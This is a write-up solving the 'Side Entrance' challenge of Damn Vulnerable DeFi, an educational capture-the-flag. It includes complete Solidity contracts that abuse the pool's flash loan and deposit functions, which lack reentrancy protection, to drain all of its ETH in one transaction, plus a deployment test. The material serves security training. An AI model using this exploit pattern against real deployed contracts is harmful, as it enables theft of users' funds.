Damn Vulnerable DeFi Challenge #4 Solution
Damn Vulnerable DeFi is, and forever will be, an educational resource for the community. It is intended to be a safe playground to train security researchers that will help protect Ethereum applications. In solving these challenges, you may learn how to exploit vulnerabilities in smart contracts. They might resemble the ones you’ll uncover during your own research of contracts in production. If that’s the case, always follow each project’s responsible disclosure processes, usually via bug bounty programs or security contacts.
— @tinchoabbate, creator of damnvulnerabledefi.xyz
Published
Challenge #4 - Side Entrance
A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.
It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.
SideEntranceLenderPool
keeps track of all accounts’ balances inside of the balances
mapping. We can increment our balance through the deposit
function. The flashLoan
function gives us access to the pool’s whole balance as long as we repay by the end of its execution.
Notably, this contract does not employ any sort of reentrancy protection. We can create a contract that takes the pool’s balance, deposits it back into the pool, and therefore assigns it to its own address in the balances
mapping. This keeps the pool’s balance the same, satisfying the condition that the pool cannot have less ETH than what it had before the flash loan.
// contracts/side-entrance/FlashLoanEtherReceiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SideEntranceLenderPool.sol";
contract FlashLoanEtherReceiver {
function infiltrate(
SideEntranceLenderPool pool,
uint256 amount
) public {
pool.flashLoan(amount);
pool.withdraw();
payable(msg.sender).transfer(amount);
}
function execute() external payable {
SideEntranceLenderPool(msg.sender).deposit{
value: msg.value
}();
}
receive() external payable {}
}
This works, but it would be much more epic and cool if we could infiltrate the pool in a single transaction, rather than first deploying and then calling a function.
The body of the infiltrate
function cannot simply be transferred to the constructor
of a contract. The pool calls execute
on msg.sender
when we call pool.flashLoan(amount)
. The contract would still be initializing, and its runtime code would not be available. flashLoan
would revert because the contract’s execute
function would not exist yet.
We can deploy FlashLoanEtherReceiver
from another contract and call infiltrate
atomically.
// contracts/side-entrance/FlashLoanEtherReceiverDeployer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./FlashLoanEtherReceiver.sol";
contract FlashLoanEtherReceiverDeployer {
constructor(SideEntranceLenderPool pool, uint256 amount) {
new FlashLoanEtherReceiver().infiltrate(pool, amount);
}
}
We just need to change where the ETH will be transferred. msg.sender
is the deployer now, and it cannot accept transfers to it without a receive
function. We could add it in and implement a withdraw
function, but I opted to change the infiltrate
function.
function infiltrate(
SideEntranceLenderPool pool,
uint256 amount
) public {
pool.flashLoan(amount);
pool.withdraw();
// `msg.sender` is the address that calls `infiltrate`.
// `FlashLoanEtherReceiverDeployer` in this case.
//
// `tx.origin` is the externally owned account that starts the whole transaction.
payable(tx.origin).transfer(amount);
}
Now all we have to do is deploy FlashLoanEtherReceiverDeployer
and pass in the pool and the amount as arguments. This solution does not even use our own balance! (except for gas, of course)
// test/side-entrance/side-entrance.challenge.js
it('Execution', async function () {
await (
await ethers.getContractFactory(
'FlashLoanEtherReceiverDeployer',
player
)
).deploy(pool.address, ETHER_IN_POOL)
})